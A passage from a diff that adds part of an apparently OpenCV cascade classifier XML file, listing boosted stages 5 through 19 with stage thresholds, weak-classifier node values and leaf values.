+ -0.5352765917778015 0.5659480094909668</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 61 -67109678 -6145 -8 -87884584 -20481 -1073762305
+ -50856216 -16849696</internalNodes>
+ <leafValues>
+ -0.5678374171257019 0.4961479902267456</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 123 -138428633 1002418167 -1359008245 -1908670465
+ -1346685918 910098423 -1359010520 -1346371657</internalNodes>
+ <leafValues>
+ -0.5706262588500977 0.4572288393974304</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 9 -89138513 -4196353 1256531674 -1330665426 1216308261
+ -36190633 33498198 -151796633</internalNodes>
+ <leafValues>
+ -0.5344601869583130 0.4672054052352905</leafValues></_></weakClassifiers></_>
+ <!-- stage 6 -->
+ <_>
+ <maxWeakCount>5</maxWeakCount>
+ <stageThreshold>-0.8776460289955139</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 105 1073769576 206601725 -34013449 -33554433 -789514004
+ -101384321 -690225153 -264193</internalNodes>
+ <leafValues>
+ -0.7700348496437073 0.5943940877914429</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 30 -1432340997 -823623681 -49153 -34291724 -269484035
+ -1342767105 -1078198273 -1277955</internalNodes>
+ <leafValues>
+ -0.5043668746948242 0.6151274442672730</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 35 -1067385040 -195758209 -436748425 -134217731
+ -50855988 -129 -1 -1</internalNodes>
+ <leafValues>
+ -0.6808040738105774 0.4667325913906097</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 119 832534325 -34111555 -26050561 -423659521 -268468364
+ 2105014143 -2114244 -17367185</internalNodes>
+ <leafValues>
+ -0.4927591383457184 0.5401885509490967</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 82 -1089439888 -1080524865 2143059967 -1114121
+ -1140949004 -3 -2361356 -739516</internalNodes>
+ <leafValues>
+ -0.6445107460021973 0.4227822124958038</leafValues></_></weakClassifiers></_>
+ <!-- stage 7 -->
+ <_>
+ <maxWeakCount>6</maxWeakCount>
+ <stageThreshold>-1.1139287948608398</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 52 -1074071553 -1074003969 -1 -1280135430 -5324817 -1
+ -335548482 582134442</internalNodes>
+ <leafValues>
+ -0.5307556986808777 0.6258179545402527</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 99 -706937396 -705364068 -540016724 -570495027
+ -570630659 -587857963 -33628164 -35848193</internalNodes>
+ <leafValues>
+ -0.5227634310722351 0.5049746036529541</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 18 -2035630093 42119158 -268503053 -1671444 261017599
+ 1325432815 1954394111 -805306449</internalNodes>
+ <leafValues>
+ -0.4983572661876679 0.5106441378593445</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 111 -282529488 -1558073088 1426018736 -170526448
+ -546832487 -5113037 -34243375 -570427929</internalNodes>
+ <leafValues>
+ -0.4990860521793366 0.5060507059097290</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 92 1016332500 -606301707 915094269 -1080086049
+ -1837027144 -1361600280 2147318747 1067975613</internalNodes>
+ <leafValues>
+ -0.5695009231567383 0.4460467398166657</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 51 -656420166 -15413034 -141599534 -603435836
+ 1505950458 -787556946 -79823438 -1326199134</internalNodes>
+ <leafValues>
+ -0.6590405106544495 0.3616424500942230</leafValues></_></weakClassifiers></_>
+ <!-- stage 8 -->
+ <_>
+ <maxWeakCount>7</maxWeakCount>
+ <stageThreshold>-0.8243625760078430</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 28 -901591776 -201916417 -262 -67371009 -143312112
+ -524289 -41943178 -1</internalNodes>
+ <leafValues>
+ -0.4972776770591736 0.6027074456214905</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 112 -4507851 -411340929 -268437513 -67502145 -17350859
+ -32901 -71344315 -29377</internalNodes>
+ <leafValues>
+ -0.4383158981800079 0.5966237187385559</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 69 -75894785 -117379438 -239063587 -12538500 1485072126
+ 2076233213 2123118847 801906927</internalNodes>
+ <leafValues>
+ -0.6386105418205261 0.3977999985218048</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 19 -823480413 786628589 -16876049 -1364262914 242165211
+ 1315930109 -696268833 -455082829</internalNodes>
+ <leafValues>
+ -0.5512794256210327 0.4282079637050629</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 73 -521411968 6746762 -1396236286 -2038436114
+ -185612509 57669627 -143132877 -1041235973</internalNodes>
+ <leafValues>
+ -0.6418755054473877 0.3549866080284119</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 126 -478153869 1076028979 -1645895615 1365298272
+ -557859073 -339771473 1442574528 -1058802061</internalNodes>
+ <leafValues>
+ -0.4841901361942291 0.4668019413948059</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 45 -246350404 -1650402048 -1610612745 -788400696
+ 1467604861 -2787397 1476263935 -4481349</internalNodes>
+ <leafValues>
+ -0.5855734348297119 0.3879135847091675</leafValues></_></weakClassifiers></_>
+ <!-- stage 9 -->
+ <_>
+ <maxWeakCount>7</maxWeakCount>
+ <stageThreshold>-1.2237116098403931</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 114 -24819 1572863935 -16809993 -67108865 2146778388
+ 1433927541 -268608444 -34865205</internalNodes>
+ <leafValues>
+ -0.2518476545810700 0.7088654041290283</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 97 -1841359 -134271049 -32769 -5767369 -1116675 -2185
+ -8231 -33603327</internalNodes>
+ <leafValues>
+ -0.4303432404994965 0.5283288359642029</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 25 -1359507589 -1360593090 -1073778729 -269553812
+ -809512977 1744707583 -41959433 -134758978</internalNodes>
+ <leafValues>
+ -0.4259553551673889 0.5440809130668640</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 34 729753407 -134270989 -1140907329 -235200777
+ 658456383 2147467263 -1140900929 -16385</internalNodes>
+ <leafValues>
+ -0.5605589151382446 0.4220733344554901</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 134 -310380553 -420675595 -193005472 -353568129
+ 1205338070 -990380036 887604324 -420544526</internalNodes>
+ <leafValues>
+ -0.5192656517028809 0.4399855434894562</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 16 -1427119361 1978920959 -287119734 -487068946
+ 114759245 -540578051 -707510259 -671660453</internalNodes>
+ <leafValues>
+ -0.5013077259063721 0.4570254683494568</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 74 -738463762 -889949281 -328301948 -121832450
+ -1142658284 -1863576559 2146417353 -263185</internalNodes>
+ <leafValues>
+ -0.4631414115428925 0.4790246188640595</leafValues></_></weakClassifiers></_>
+ <!-- stage 10 -->
+ <_>
+ <maxWeakCount>7</maxWeakCount>
+ <stageThreshold>-0.5544230937957764</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 113 -76228780 -65538 -1 -67174401 -148007 -33 -221796
+ -272842924</internalNodes>
+ <leafValues>
+ -0.3949716091156006 0.6082032322883606</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 110 369147696 -1625232112 2138570036 -1189900 790708019
+ -1212613127 799948719 -4456483</internalNodes>
+ <leafValues>
+ -0.4855885505676270 0.4785369932651520</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 37 784215839 -290015241 536832799 -402984963
+ -1342414991 -838864897 -176769 -268456129</internalNodes>
+ <leafValues>
+ -0.4620285332202911 0.4989669024944305</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 41 -486418688 -171915327 -340294900 -21938 -519766032
+ -772751172 -73096060 -585322623</internalNodes>
+ <leafValues>
+ -0.6420643329620361 0.3624351918697357</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 117 -33554953 -475332625 -1423463824 -2077230421
+ -4849669 -2080505925 -219032928 -1071915349</internalNodes>
+ <leafValues>
+ -0.4820112884044647 0.4632140696048737</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 65 -834130468 -134217476 -1349314083 -1073803559
+ -619913764 -1449131844 -1386890321 -1979118423</internalNodes>
+ <leafValues>
+ -0.4465552568435669 0.5061788558959961</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 56 -285249779 1912569855 -16530 -1731022870 -1161904146
+ -1342177297 -268439634 -1464078708</internalNodes>
+ <leafValues>
+ -0.5190586447715759 0.4441480338573456</leafValues></_></weakClassifiers></_>
+ <!-- stage 11 -->
+ <_>
+ <maxWeakCount>7</maxWeakCount>
+ <stageThreshold>-0.7161560654640198</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 20 1246232575 1078001186 -10027057 60102 -277348353
+ -43646987 -1210581153 1195769615</internalNodes>
+ <leafValues>
+ -0.4323809444904327 0.5663768053054810</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 15 -778583572 -612921106 -578775890 -4036478
+ -1946580497 -1164766570 -1986687009 -12103599</internalNodes>
+ <leafValues>
+ -0.4588732719421387 0.4547033011913300</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 129 -1073759445 2013231743 -1363169553 -1082459201
+ -1414286549 868185983 -1356133589 -1077936257</internalNodes>
+ <leafValues>
+ -0.5218553543090820 0.4111092388629913</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 102 -84148365 -2093417722 -1204850272 564290299
+ -67121221 -1342177350 -1309195902 -776734797</internalNodes>
+ <leafValues>
+ -0.4920000731945038 0.4326725304126740</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 88 -25694458 67104495 -290216278 -168563037 2083877442
+ 1702788383 -144191964 -234882162</internalNodes>
+ <leafValues>
+ -0.4494568109512329 0.4448510706424713</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 59 -857980836 904682741 -1612267521 232279415
+ 1550862252 -574825221 -357380888 -4579409</internalNodes>
+ <leafValues>
+ -0.5180826783180237 0.3888972699642181</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 27 -98549440 -137838400 494928389 -246013630 939541351
+ -1196072350 -620603549 2137216273</internalNodes>
+ <leafValues>
+ -0.6081240773200989 0.3333222270011902</leafValues></_></weakClassifiers></_>
+ <!-- stage 12 -->
+ <_>
+ <maxWeakCount>8</maxWeakCount>
+ <stageThreshold>-0.6743940711021423</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 29 -150995201 2071191945 -1302151626 536934335
+ -1059008937 914128709 1147328110 -268369925</internalNodes>
+ <leafValues>
+ -0.1790193915367127 0.6605972051620483</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 128 -134509479 1610575703 -1342177289 1861484541
+ -1107833788 1577058173 -333558568 -136319041</internalNodes>
+ <leafValues>
+ -0.3681024610996246 0.5139749646186829</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 70 -1 1060154476 -1090984524 -630918524 -539492875
+ 779616255 -839568424 -321</internalNodes>
+ <leafValues>
+ -0.3217232525348663 0.6171553134918213</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 4 -269562385 -285029906 -791084350 -17923776 235286671
+ 1275504943 1344390399 -966276889</internalNodes>
+ <leafValues>
+ -0.4373284578323364 0.4358185231685638</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 76 17825984 -747628419 595427229 1474759671 575672208
+ -1684005538 872217086 -1155858277</internalNodes>
+ <leafValues>
+ -0.4404836893081665 0.4601220190525055</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 124 -336593039 1873735591 -822231622 -355795238
+ -470820869 -1997537409 -1057132384 -1015285005</internalNodes>
+ <leafValues>
+ -0.4294152259826660 0.4452161788940430</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 54 -834212130 -593694721 -322142257 -364892500
+ -951029539 -302125121 -1615106053 -79249765</internalNodes>
+ <leafValues>
+ -0.3973052501678467 0.4854526817798615</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 95 1342144479 2147431935 -33554561 -47873 -855685912 -1
+ 1988052447 536827383</internalNodes>
+ <leafValues>
+ -0.7054683566093445 0.2697997391223908</leafValues></_></weakClassifiers></_>
+ <!-- stage 13 -->
+ <_>
+ <maxWeakCount>9</maxWeakCount>
+ <stageThreshold>-1.2042298316955566</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 39 1431368960 -183437936 -537002499 -137497097
+ 1560590321 -84611081 -2097193 -513</internalNodes>
+ <leafValues>
+ -0.5905947685241699 0.5101932883262634</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 120 -1645259691 2105491231 2130706431 1458995007
+ -8567536 -42483883 -33780003 -21004417</internalNodes>
+ <leafValues>
+ -0.4449204802513123 0.4490709304809570</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 89 -612381022 -505806938 -362027516 -452985106
+ 275854917 1920431639 -12600561 -134221825</internalNodes>
+ <leafValues>
+ -0.4693818688392639 0.4061094820499420</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 14 -805573153 -161 -554172679 -530519488 -16779441
+ 2000682871 -33604275 -150997129</internalNodes>
+ <leafValues>
+ -0.3600351214408875 0.5056326985359192</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 67 6192 435166195 1467449341 2046691505 -1608493775
+ -4755729 -1083162625 -71365637</internalNodes>
+ <leafValues>
+ -0.4459891915321350 0.4132415652275085</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 86 -41689215 -3281034 1853357967 -420712635 -415924289
+ -270209208 -1088293113 -825311232</internalNodes>
+ <leafValues>
+ -0.4466069042682648 0.4135067760944367</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 80 -117391116 -42203396 2080374461 -188709 -542008165
+ -356831940 -1091125345 -1073796897</internalNodes>
+ <leafValues>
+ -0.3394956290721893 0.5658645033836365</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 75 -276830049 1378714472 -1342181951 757272098
+ 1073740607 -282199241 -415761549 170896931</internalNodes>
+ <leafValues>
+ -0.5346512198448181 0.3584479391574860</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 55 -796075825 -123166849 2113667055 -217530421
+ -1107432194 -16385 -806359809 -391188771</internalNodes>
+ <leafValues>
+ -0.4379335641860962 0.4123645126819611</leafValues></_></weakClassifiers></_>
+ <!-- stage 14 -->
+ <_>
+ <maxWeakCount>10</maxWeakCount>
+ <stageThreshold>-0.8402050137519836</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 71 -890246622 15525883 -487690486 47116238 -1212319899
+ -1291847681 -68159890 -469829921</internalNodes>
+ <leafValues>
+ -0.2670986354351044 0.6014143228530884</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 31 -1361180685 -1898008841 -1090588811 -285410071
+ -1074016265 -840443905 2147221487 -262145</internalNodes>
+ <leafValues>
+ -0.4149844348430634 0.4670888185501099</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 40 1426190596 1899364271 2142731795 -142607505
+ -508232452 -21563393 -41960001 -65</internalNodes>
+ <leafValues>
+ -0.4985891580581665 0.3719584941864014</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 109 -201337965 10543906 -236498096 -746195597
+ 1974565825 -15204415 921907633 -190058309</internalNodes>
+ <leafValues>
+ -0.4568729996681213 0.3965812027454376</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 130 -595026732 -656401928 -268649235 -571490699
+ -440600392 -133131 -358810952 -2004088646</internalNodes>
+ <leafValues>
+ -0.4770836830139160 0.3862601518630981</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 66 941674740 -1107882114 1332789109 -67691015
+ -1360463693 -1556612430 -609108546 733546933</internalNodes>
+ <leafValues>
+ -0.4877715110778809 0.3778986334800720</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 49 -17114945 -240061474 1552871558 -82775604 -932393844
+ -1308544889 -532635478 -99042357</internalNodes>
+ <leafValues>
+ -0.3721654713153839 0.4994400143623352</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 133 -655906006 1405502603 -939205164 1884929228
+ -498859222 559417357 -1928559445 -286264385</internalNodes>
+ <leafValues>
+ -0.3934195041656494 0.4769641458988190</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 0 -335837777 1860677295 -90 -1946186226 931096183
+ 251612987 2013265917 -671232197</internalNodes>
+ <leafValues>
+ -0.4323300719261169 0.4342164099216461</leafValues></_>
+ <!-- tree 9 -->
+ <_>
+ <internalNodes>
+ 0 -1 103 37769424 -137772680 374692301 2002666345 -536176194
+ -1644484728 807009019 1069089930</internalNodes>
+ <leafValues>
+ -0.4993278682231903 0.3665378093719482</leafValues></_></weakClassifiers></_>
+ <!-- stage 15 -->
+ <_>
+ <maxWeakCount>9</maxWeakCount>
+ <stageThreshold>-1.1974394321441650</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 43 -5505 2147462911 2143265466 -4511070 -16450 -257
+ -201348440 -71333206</internalNodes>
+ <leafValues>
+ -0.3310225307941437 0.5624626278877258</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 90 -136842268 -499330741 2015250980 -87107126
+ -641665744 -788524639 -1147864792 -134892563</internalNodes>
+ <leafValues>
+ -0.5266560912132263 0.3704403042793274</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 104 -146800880 -1780368555 2111170033 -140904684
+ -16777551 -1946681885 -1646463595 -839131947</internalNodes>
+ <leafValues>
+ -0.4171888828277588 0.4540435671806335</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 85 -832054034 -981663763 -301990281 -578814081
+ -932319000 -1997406723 -33555201 -69206017</internalNodes>
+ <leafValues>
+ -0.4556705355644226 0.3704262077808380</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 24 -118492417 -1209026825 1119023838 -1334313353
+ 1112948738 -297319313 1378887291 -139469193</internalNodes>
+ <leafValues>
+ -0.4182529747486115 0.4267231225967407</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 78 -1714382628 -2353704 -112094959 -549613092
+ -1567058760 -1718550464 -342315012 -1074972227</internalNodes>
+ <leafValues>
+ -0.3625369668006897 0.4684656262397766</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 5 -85219702 316836394 -33279 1904970288 2117267315
+ -260901769 -621461759 -88607770</internalNodes>
+ <leafValues>
+ -0.4742925167083740 0.3689507246017456</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 11 -294654041 -353603585 -1641159686 -50331921
+ -2080899877 1145569279 -143132713 -152044037</internalNodes>
+ <leafValues>
+ -0.3666271567344666 0.4580127298831940</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 32 1887453658 -638545712 -1877976819 -34320972
+ -1071067983 -661345416 -583338277 1060190561</internalNodes>
+ <leafValues>
+ -0.4567637443542481 0.3894708156585693</leafValues></_></weakClassifiers></_>
+ <!-- stage 16 -->
+ <_>
+ <maxWeakCount>9</maxWeakCount>
+ <stageThreshold>-0.5733128190040588</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 122 -994063296 1088745462 -318837116 -319881377
+ 1102566613 1165490103 -121679694 -134744129</internalNodes>
+ <leafValues>
+ -0.4055117964744568 0.5487945079803467</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 68 -285233233 -538992907 1811935199 -369234005 -529
+ -20593 -20505 -1561401854</internalNodes>
+ <leafValues>
+ -0.3787897229194641 0.4532003402709961</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 58 -1335245632 1968917183 1940861695 536816369
+ -1226071367 -570908176 457026619 1000020667</internalNodes>
+ <leafValues>
+ -0.4258328974246979 0.4202791750431061</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 94 -1360318719 -1979797897 -50435249 -18646473
+ -608879292 -805306691 -269304244 -17840167</internalNodes>
+ <leafValues>
+ -0.4561023116111755 0.4002747833728790</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 87 2062765935 -16449 -1275080721 -16406 45764335
+ -1090552065 -772846337 -570464322</internalNodes>
+ <leafValues>
+ -0.4314672648906708 0.4086346626281738</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 127 -536896021 1080817663 -738234288 -965478709
+ -2082767969 1290855887 1993822934 -990381609</internalNodes>
+ <leafValues>
+ -0.4174543321132660 0.4249868988990784</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 3 -818943025 168730891 -293610428 -79249354 669224671
+ 621166734 1086506807 1473768907</internalNodes>
+ <leafValues>
+ -0.4321364760398865 0.4090838730335236</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 79 -68895696 -67107736 -1414315879 -841676168
+ -619843344 -1180610531 -1081990469 1043203389</internalNodes>
+ <leafValues>
+ -0.5018386244773865 0.3702533841133118</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 116 -54002134 -543485719 -2124882422 -1437445858
+ -115617074 -1195787391 -1096024366 -2140472445</internalNodes>
+ <leafValues>
+ -0.5037505626678467 0.3564981222152710</leafValues></_></weakClassifiers></_>
+ <!-- stage 17 -->
+ <_>
+ <maxWeakCount>9</maxWeakCount>
+ <stageThreshold>-0.4892596900463104</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 132 -67113211 2003808111 1862135111 846461923 -2752
+ 2002237273 -273154752 1937223539</internalNodes>
+ <leafValues>
+ -0.2448196411132813 0.5689709186553955</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 62 1179423888 -78064940 -611839555 -539167899
+ -1289358360 -1650810108 -892540499 -1432827684</internalNodes>
+ <leafValues>
+ -0.4633283913135529 0.3587929606437683</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 23 -285212705 -78450761 -656212031 -264050110 -27787425
+ -1334349961 -547662981 -135796924</internalNodes>
+ <leafValues>
+ -0.3731099069118500 0.4290455579757690</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 77 341863476 403702016 -550588417 1600194541
+ -1080690735 951127993 -1388580949 -1153717473</internalNodes>
+ <leafValues>
+ -0.3658909499645233 0.4556473195552826</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 22 -586880702 -204831512 -100644596 -39319550
+ -1191150794 705692513 457203315 -75806957</internalNodes>
+ <leafValues>
+ -0.5214384198188782 0.3221037387847900</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 72 -416546870 545911370 -673716192 -775559454
+ -264113598 139424 -183369982 -204474641</internalNodes>
+ <leafValues>
+ -0.4289036989212036 0.4004956185817719</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 50 -1026505020 -589692154 -1740499937 -1563770497
+ 1348491006 -60710713 -1109853489 -633909413</internalNodes>
+ <leafValues>
+ -0.4621542394161224 0.3832748532295227</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 108 -1448872304 -477895040 -1778390608 -772418127
+ -1789923416 -1612057181 -805306693 -1415842113</internalNodes>
+ <leafValues>
+ -0.3711548447608948 0.4612701535224915</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 92 407905424 -582449988 52654751 -1294472 -285103725
+ -74633006 1871559083 1057955850</internalNodes>
+ <leafValues>
+ -0.5180652141571045 0.3205870389938355</leafValues></_></weakClassifiers></_>
+ <!-- stage 18 -->
+ <_>
+ <maxWeakCount>10</maxWeakCount>
+ <stageThreshold>-0.5911940932273865</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 81 4112 -1259563825 -846671428 -100902460 1838164148
+ -74153752 -90653988 -1074263896</internalNodes>
+ <leafValues>
+ -0.2592592537403107 0.5873016119003296</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 1 -285216785 -823206977 -1085589 -1081346 1207959293
+ 1157103471 2097133565 -2097169</internalNodes>
+ <leafValues>
+ -0.3801195919513702 0.4718827307224274</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 121 -12465 -536875169 2147478367 2130706303 -37765492
+ -866124467 -318782328 -1392509185</internalNodes>
+ <leafValues>
+ -0.3509117066860199 0.5094807147979736</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 38 2147449663 -20741 -16794757 1945873146 -16710 -1
+ -8406341 -67663041</internalNodes>
+ <leafValues>
+ -0.4068757295608521 0.4130136370658875</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 17 -155191713 866117231 1651407483 548272812 -479201468
+ -447742449 1354229504 -261884429</internalNodes>
+ <leafValues>
+ -0.4557141065597534 0.3539792001247406</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 100 -225319378 -251682065 -492783986 -792341777
+ -1287261695 1393643841 -11274182 -213909521</internalNodes>
+ <leafValues>
+ -0.4117803275585175 0.4118592441082001</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 63 -382220122 -2002072729 -51404800 -371201558
+ -923011069 -2135301457 -2066104743 -1042557441</internalNodes>
+ <leafValues>
+ -0.4008397758007050 0.4034757018089294</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 101 -627353764 -48295149 1581203952 -436258614
+ -105268268 -1435893445 -638126888 -1061107126</internalNodes>
+ <leafValues>
+ -0.5694189667701721 0.2964762747287750</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 118 -8399181 1058107691 -621022752 -251003468 -12582915
+ -574619739 -994397789 -1648362021</internalNodes>
+ <leafValues>
+ -0.3195341229438782 0.5294018983840942</leafValues></_>
+ <!-- tree 9 -->
+ <_>
+ <internalNodes>
+ 0 -1 92 -348343812 -1078389516 1717960437 364735981
+ -1783841602 -4883137 -457572354 -1076950384</internalNodes>
+ <leafValues>
+ -0.3365339040756226 0.5067458748817444</leafValues></_></weakClassifiers></_>
+ <!-- stage 19 -->
+ <_>
+ <maxWeakCount>10</maxWeakCount>
+ <stageThreshold>-0.7612916231155396</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 10 -1976661318 -287957604 -1659497122 -782068 43591089
+ -453637880 1435470000 -1077438561</internalNodes>
+ <leafValues>
+ -0.4204545319080353 0.5165745615959168</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
